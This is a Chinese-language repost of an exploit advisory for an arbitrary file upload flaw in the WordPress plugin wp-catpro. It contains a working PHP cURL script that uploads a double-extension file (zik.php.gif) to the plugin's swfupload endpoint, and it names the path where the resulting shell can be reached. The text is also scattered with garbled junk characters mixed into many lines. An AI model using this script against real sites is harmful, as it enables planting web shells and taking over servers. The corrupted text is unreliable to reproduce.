WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------

作者  => Zikou-16
3 a4 g, z9 a5 y. t邮箱 => zikou16x@gmail.com
6 [6 Z7 f/ J% Z( p' I4 e4 k测试系统 : Windows 7 , Backtrack 5r3
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####
' _; L! i! R6 ]% m
5 F# w% Z7 k5 R4 g8 `0 F#=> Exploit 信息:
  D) {. x1 d$ y+ U8 W6 R+ w------------------
# 攻击者可以上传 file/shell.php.gif
2 q& P5 @- Z+ m; B, g# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
2 T5 |" h2 a" u0 P6 Y* Y------------------

  ^& F6 ~3 ~; d3 l#=> Exploit
-----------
4 m" y  a* n7 \: c) L5 r  k<?php

, X3 ?% f) u! _# ]6 b+ P1 W& k7 j$uploadfile="zik.php.gif";
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
# c' j6 O* y  _; X8 U. ?curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
# r/ z. \1 G3 Q1 t! j) marray('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
3 d6 v) x- o7 P* |# Q1 F4 _3 ccurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
. i7 q3 R% P1 E% o$postResult = curl_exec($ch);
& s3 i& Q* K1 K7 ]0 K8 ^( H0 pcurl_close($ch);

print "$postResult";

# y- U' G) V6 m8 p' [' eShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
3 F/ K! Y5 ~! C$ w<?php
! I; T5 X& L8 s. q2 w; M7 Z/ _phpinfo();
?>